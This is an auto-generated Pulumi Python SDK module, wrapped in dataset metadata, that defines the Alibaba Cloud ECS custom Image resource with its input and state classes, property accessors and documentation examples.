| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
7d6666d48be2635507f70e9000472950d3f7831d
| 38,904
|
py
|
Python
|
sdk/python/pulumi_alicloud/ecs/image.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 42
|
2019-03-18T06:34:37.000Z
|
2022-03-24T07:08:57.000Z
|
sdk/python/pulumi_alicloud/ecs/image.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 152
|
2019-04-15T21:03:44.000Z
|
2022-03-29T18:00:57.000Z
|
sdk/python/pulumi_alicloud/ecs/image.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2020-08-26T17:30:07.000Z
|
2021-07-05T01:37:45.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['ImageArgs', 'Image']
@pulumi.input_type
class ImageArgs:
def __init__(__self__, *,
architecture: Optional[pulumi.Input[str]] = None,
delete_auto_snapshot: Optional[pulumi.Input[bool]] = None,
description: Optional[pulumi.Input[str]] = None,
disk_device_mappings: Optional[pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]]] = None,
force: Optional[pulumi.Input[bool]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
platform: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
snapshot_id: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None):
"""
The set of arguments for constructing a Image resource.
:param pulumi.Input[str] architecture: Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
:param pulumi.Input[str] description: The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
:param pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]] disk_device_mappings: Description of the system with disks and snapshots under the image.
:param pulumi.Input[bool] force: Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
:param pulumi.Input[str] image_name: The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
:param pulumi.Input[str] instance_id: The instance ID.
:param pulumi.Input[str] platform: Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
:param pulumi.Input[str] resource_group_id: The ID of the enterprise resource group to which a custom image belongs
:param pulumi.Input[str] snapshot_id: Specifies a snapshot that is used to create a combined custom image.
:param pulumi.Input[Mapping[str, Any]] tags: The tag value of an image. The value of N ranges from 1 to 20.
"""
if architecture is not None:
pulumi.set(__self__, "architecture", architecture)
if delete_auto_snapshot is not None:
pulumi.set(__self__, "delete_auto_snapshot", delete_auto_snapshot)
if description is not None:
pulumi.set(__self__, "description", description)
if disk_device_mappings is not None:
pulumi.set(__self__, "disk_device_mappings", disk_device_mappings)
if force is not None:
pulumi.set(__self__, "force", force)
if image_name is not None:
pulumi.set(__self__, "image_name", image_name)
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
if name is not None:
warnings.warn("""Attribute 'name' has been deprecated from version 1.69.0. Use `image_name` instead.""", DeprecationWarning)
pulumi.log.warn("""name is deprecated: Attribute 'name' has been deprecated from version 1.69.0. Use `image_name` instead.""")
if name is not None:
pulumi.set(__self__, "name", name)
if platform is not None:
pulumi.set(__self__, "platform", platform)
if resource_group_id is not None:
pulumi.set(__self__, "resource_group_id", resource_group_id)
if snapshot_id is not None:
pulumi.set(__self__, "snapshot_id", snapshot_id)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def architecture(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
"""
return pulumi.get(self, "architecture")
@architecture.setter
def architecture(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "architecture", value)
@property
@pulumi.getter(name="deleteAutoSnapshot")
def delete_auto_snapshot(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "delete_auto_snapshot")
@delete_auto_snapshot.setter
def delete_auto_snapshot(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "delete_auto_snapshot", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="diskDeviceMappings")
def disk_device_mappings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]]]:
"""
Description of the system with disks and snapshots under the image.
"""
return pulumi.get(self, "disk_device_mappings")
@disk_device_mappings.setter
def disk_device_mappings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]]]):
pulumi.set(self, "disk_device_mappings", value)
@property
@pulumi.getter
def force(self) -> Optional[pulumi.Input[bool]]:
"""
Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
"""
return pulumi.get(self, "force")
@force.setter
def force(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force", value)
@property
@pulumi.getter(name="imageName")
def image_name(self) -> Optional[pulumi.Input[str]]:
"""
The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
"""
return pulumi.get(self, "image_name")
@image_name.setter
def image_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_name", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
"""
The instance ID.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def platform(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
"""
return pulumi.get(self, "platform")
@platform.setter
def platform(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "platform", value)
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the enterprise resource group to which a custom image belongs
"""
return pulumi.get(self, "resource_group_id")
@resource_group_id.setter
def resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_id", value)
@property
@pulumi.getter(name="snapshotId")
def snapshot_id(self) -> Optional[pulumi.Input[str]]:
"""
Specifies a snapshot that is used to create a combined custom image.
"""
return pulumi.get(self, "snapshot_id")
@snapshot_id.setter
def snapshot_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "snapshot_id", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
The tag value of an image. The value of N ranges from 1 to 20.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class _ImageState:
def __init__(__self__, *,
architecture: Optional[pulumi.Input[str]] = None,
delete_auto_snapshot: Optional[pulumi.Input[bool]] = None,
description: Optional[pulumi.Input[str]] = None,
disk_device_mappings: Optional[pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]]] = None,
force: Optional[pulumi.Input[bool]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
platform: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
snapshot_id: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None):
"""
Input properties used for looking up and filtering Image resources.
:param pulumi.Input[str] architecture: Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
:param pulumi.Input[str] description: The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
:param pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]] disk_device_mappings: Description of the system with disks and snapshots under the image.
:param pulumi.Input[bool] force: Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
:param pulumi.Input[str] image_name: The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
:param pulumi.Input[str] instance_id: The instance ID.
:param pulumi.Input[str] platform: Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
:param pulumi.Input[str] resource_group_id: The ID of the enterprise resource group to which a custom image belongs
:param pulumi.Input[str] snapshot_id: Specifies a snapshot that is used to create a combined custom image.
:param pulumi.Input[Mapping[str, Any]] tags: The tag value of an image. The value of N ranges from 1 to 20.
"""
if architecture is not None:
pulumi.set(__self__, "architecture", architecture)
if delete_auto_snapshot is not None:
pulumi.set(__self__, "delete_auto_snapshot", delete_auto_snapshot)
if description is not None:
pulumi.set(__self__, "description", description)
if disk_device_mappings is not None:
pulumi.set(__self__, "disk_device_mappings", disk_device_mappings)
if force is not None:
pulumi.set(__self__, "force", force)
if image_name is not None:
pulumi.set(__self__, "image_name", image_name)
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
if name is not None:
warnings.warn("""Attribute 'name' has been deprecated from version 1.69.0. Use `image_name` instead.""", DeprecationWarning)
pulumi.log.warn("""name is deprecated: Attribute 'name' has been deprecated from version 1.69.0. Use `image_name` instead.""")
if name is not None:
pulumi.set(__self__, "name", name)
if platform is not None:
pulumi.set(__self__, "platform", platform)
if resource_group_id is not None:
pulumi.set(__self__, "resource_group_id", resource_group_id)
if snapshot_id is not None:
pulumi.set(__self__, "snapshot_id", snapshot_id)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def architecture(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
"""
return pulumi.get(self, "architecture")
@architecture.setter
def architecture(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "architecture", value)
@property
@pulumi.getter(name="deleteAutoSnapshot")
def delete_auto_snapshot(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "delete_auto_snapshot")
@delete_auto_snapshot.setter
def delete_auto_snapshot(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "delete_auto_snapshot", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="diskDeviceMappings")
def disk_device_mappings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]]]:
"""
Description of the system with disks and snapshots under the image.
"""
return pulumi.get(self, "disk_device_mappings")
@disk_device_mappings.setter
def disk_device_mappings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ImageDiskDeviceMappingArgs']]]]):
pulumi.set(self, "disk_device_mappings", value)
@property
@pulumi.getter
def force(self) -> Optional[pulumi.Input[bool]]:
"""
Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
"""
return pulumi.get(self, "force")
@force.setter
def force(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force", value)
@property
@pulumi.getter(name="imageName")
def image_name(self) -> Optional[pulumi.Input[str]]:
"""
The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
"""
return pulumi.get(self, "image_name")
@image_name.setter
def image_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_name", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
"""
The instance ID.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def platform(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
"""
return pulumi.get(self, "platform")
@platform.setter
def platform(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "platform", value)
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the enterprise resource group to which a custom image belongs
"""
return pulumi.get(self, "resource_group_id")
@resource_group_id.setter
def resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_id", value)
@property
@pulumi.getter(name="snapshotId")
def snapshot_id(self) -> Optional[pulumi.Input[str]]:
"""
Specifies a snapshot that is used to create a combined custom image.
"""
return pulumi.get(self, "snapshot_id")
@snapshot_id.setter
def snapshot_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "snapshot_id", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
The tag value of an image. The value of N ranges from 1 to 20.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "tags", value)
class Image(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
architecture: Optional[pulumi.Input[str]] = None,
delete_auto_snapshot: Optional[pulumi.Input[bool]] = None,
description: Optional[pulumi.Input[str]] = None,
disk_device_mappings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ImageDiskDeviceMappingArgs']]]]] = None,
force: Optional[pulumi.Input[bool]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
platform: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
snapshot_id: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
__props__=None):
"""
Creates a custom image. You can then use a custom image to create ECS instances (RunInstances) or change the system disk for an existing instance (ReplaceSystemDisk).
> **NOTE:** If you want to create a template from an ECS instance, you can specify the instance ID (InstanceId) to create a custom image. You must make sure that the status of the specified instance is Running or Stopped. After a successful invocation, each disk of the specified instance has a new snapshot created.
> **NOTE:** If you want to create a custom image based on the system disk of your ECS instance, you can specify one of the system disk snapshots (SnapshotId) to create a custom image. However, the specified snapshot cannot be created on or before July 15, 2013.
> **NOTE:** If you want to combine snapshots of multiple disks into an image template, you can specify DiskDeviceMapping to create a custom image.
> **NOTE:** Available in 1.64.0+
## Example Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default = alicloud.ecs.Image("default",
architecture="x86_64",
description="test-image",
image_name="test-image",
instance_id="i-bp1g6zv0ce8oghu7k***",
platform="CentOS",
resource_group_id="rg-bp67acfmxazb4ph***",
tags={
"FinanceDept": "FinanceDeptJoshua",
})
```
## Import
image can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ecs/image:Image default m-uf66871ape***yg1q***
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] architecture: Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
:param pulumi.Input[str] description: The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ImageDiskDeviceMappingArgs']]]] disk_device_mappings: Description of the system with disks and snapshots under the image.
:param pulumi.Input[bool] force: Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
:param pulumi.Input[str] image_name: The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
:param pulumi.Input[str] instance_id: The instance ID.
:param pulumi.Input[str] platform: Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
:param pulumi.Input[str] resource_group_id: The ID of the enterprise resource group to which a custom image belongs
:param pulumi.Input[str] snapshot_id: Specifies a snapshot that is used to create a combined custom image.
:param pulumi.Input[Mapping[str, Any]] tags: The tag value of an image. The value of N ranges from 1 to 20.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: Optional[ImageArgs] = None,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Creates a custom image. You can then use a custom image to create ECS instances (RunInstances) or change the system disk for an existing instance (ReplaceSystemDisk).
> **NOTE:** If you want to create a template from an ECS instance, you can specify the instance ID (InstanceId) to create a custom image. You must make sure that the status of the specified instance is Running or Stopped. After a successful invocation, each disk of the specified instance has a new snapshot created.
> **NOTE:** If you want to create a custom image based on the system disk of your ECS instance, you can specify one of the system disk snapshots (SnapshotId) to create a custom image. However, the specified snapshot cannot be created on or before July 15, 2013.
> **NOTE:** If you want to combine snapshots of multiple disks into an image template, you can specify DiskDeviceMapping to create a custom image.
> **NOTE:** Available in 1.64.0+
## Example Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default = alicloud.ecs.Image("default",
architecture="x86_64",
description="test-image",
image_name="test-image",
instance_id="i-bp1g6zv0ce8oghu7k***",
platform="CentOS",
resource_group_id="rg-bp67acfmxazb4ph***",
tags={
"FinanceDept": "FinanceDeptJoshua",
})
```
## Import
image can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ecs/image:Image default m-uf66871ape***yg1q***
```
:param str resource_name: The name of the resource.
:param ImageArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ImageArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
architecture: Optional[pulumi.Input[str]] = None,
delete_auto_snapshot: Optional[pulumi.Input[bool]] = None,
description: Optional[pulumi.Input[str]] = None,
disk_device_mappings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ImageDiskDeviceMappingArgs']]]]] = None,
force: Optional[pulumi.Input[bool]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
platform: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
snapshot_id: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ImageArgs.__new__(ImageArgs)
__props__.__dict__["architecture"] = architecture
__props__.__dict__["delete_auto_snapshot"] = delete_auto_snapshot
__props__.__dict__["description"] = description
__props__.__dict__["disk_device_mappings"] = disk_device_mappings
__props__.__dict__["force"] = force
__props__.__dict__["image_name"] = image_name
__props__.__dict__["instance_id"] = instance_id
if name is not None and not opts.urn:
warnings.warn("""Attribute 'name' has been deprecated from version 1.69.0. Use `image_name` instead.""", DeprecationWarning)
pulumi.log.warn("""name is deprecated: Attribute 'name' has been deprecated from version 1.69.0. Use `image_name` instead.""")
__props__.__dict__["name"] = name
__props__.__dict__["platform"] = platform
__props__.__dict__["resource_group_id"] = resource_group_id
__props__.__dict__["snapshot_id"] = snapshot_id
__props__.__dict__["tags"] = tags
super(Image, __self__).__init__(
'alicloud:ecs/image:Image',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
architecture: Optional[pulumi.Input[str]] = None,
delete_auto_snapshot: Optional[pulumi.Input[bool]] = None,
description: Optional[pulumi.Input[str]] = None,
disk_device_mappings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ImageDiskDeviceMappingArgs']]]]] = None,
force: Optional[pulumi.Input[bool]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
platform: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
snapshot_id: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None) -> 'Image':
"""
Get an existing Image resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] architecture: Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
:param pulumi.Input[str] description: The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ImageDiskDeviceMappingArgs']]]] disk_device_mappings: Description of the system with disks and snapshots under the image.
:param pulumi.Input[bool] force: Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
:param pulumi.Input[str] image_name: The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
:param pulumi.Input[str] instance_id: The instance ID.
:param pulumi.Input[str] platform: Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
:param pulumi.Input[str] resource_group_id: The ID of the enterprise resource group to which a custom image belongs
:param pulumi.Input[str] snapshot_id: Specifies a snapshot that is used to create a combined custom image.
:param pulumi.Input[Mapping[str, Any]] tags: The tag value of an image. The value of N ranges from 1 to 20.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ImageState.__new__(_ImageState)
__props__.__dict__["architecture"] = architecture
__props__.__dict__["delete_auto_snapshot"] = delete_auto_snapshot
__props__.__dict__["description"] = description
__props__.__dict__["disk_device_mappings"] = disk_device_mappings
__props__.__dict__["force"] = force
__props__.__dict__["image_name"] = image_name
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["name"] = name
__props__.__dict__["platform"] = platform
__props__.__dict__["resource_group_id"] = resource_group_id
__props__.__dict__["snapshot_id"] = snapshot_id
__props__.__dict__["tags"] = tags
return Image(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def architecture(self) -> pulumi.Output[Optional[str]]:
"""
Specifies the architecture of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `i386` , Default is `x86_64`.
"""
return pulumi.get(self, "architecture")
@property
@pulumi.getter(name="deleteAutoSnapshot")
def delete_auto_snapshot(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "delete_auto_snapshot")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
The description of the image. It must be 2 to 256 characters in length and must not start with http:// or https://. Default value: null.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="diskDeviceMappings")
def disk_device_mappings(self) -> pulumi.Output[Sequence['outputs.ImageDiskDeviceMapping']]:
"""
Description of the system with disks and snapshots under the image.
"""
return pulumi.get(self, "disk_device_mappings")
@property
@pulumi.getter
def force(self) -> pulumi.Output[Optional[bool]]:
"""
Indicates whether to force delete the custom image, Default is `false`.
- true:Force deletes the custom image, regardless of whether the image is currently being used by other instances.
- false:Verifies that the image is not currently in use by any other instances before deleting the image.
"""
return pulumi.get(self, "force")
@property
@pulumi.getter(name="imageName")
def image_name(self) -> pulumi.Output[str]:
"""
The image name. It must be 2 to 128 characters in length, and must begin with a letter or Chinese character (beginning with http:// or https:// is not allowed). It can contain digits, colons (:), underscores (_), or hyphens (-). Default value: null.
"""
return pulumi.get(self, "image_name")
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Output[Optional[str]]:
"""
The instance ID.
"""
return pulumi.get(self, "instance_id")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
return pulumi.get(self, "name")
@property
@pulumi.getter
def platform(self) -> pulumi.Output[Optional[str]]:
"""
Specifies the operating system platform of the system disk after you specify a data disk snapshot as the data source of the system disk for creating an image. Valid values: `CentOS`, `Ubuntu`, `SUSE`, `OpenSUSE`, `RedHat`, `Debian`, `CoreOS`, `Aliyun Linux`, `Windows Server 2003`, `Windows Server 2008`, `Windows Server 2012`, `Windows 7`, Default is `Others Linux`, `Customized Linux`.
"""
return pulumi.get(self, "platform")
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> pulumi.Output[Optional[str]]:
"""
The ID of the enterprise resource group to which a custom image belongs
"""
return pulumi.get(self, "resource_group_id")
@property
@pulumi.getter(name="snapshotId")
def snapshot_id(self) -> pulumi.Output[Optional[str]]:
"""
Specifies a snapshot that is used to create a combined custom image.
"""
return pulumi.get(self, "snapshot_id")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
"""
The tag value of an image. The value of N ranges from 1 to 20.
"""
return pulumi.get(self, "tags")
| 53.147541
| 430
| 0.661397
| 4,926
| 38,904
| 5.073894
| 0.058668
| 0.072617
| 0.0821
| 0.063375
| 0.938145
| 0.930023
| 0.919461
| 0.912779
| 0.909098
| 0.902457
| 0
| 0.010032
| 0.236428
| 38,904
| 731
| 431
| 53.220246
| 0.831347
| 0.425637
| 0
| 0.867788
| 1
| 0.014423
| 0.119091
| 0.013948
| 0
| 0
| 0
| 0
| 0
| 1
| 0.161058
| false
| 0.002404
| 0.016827
| 0.014423
| 0.274038
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
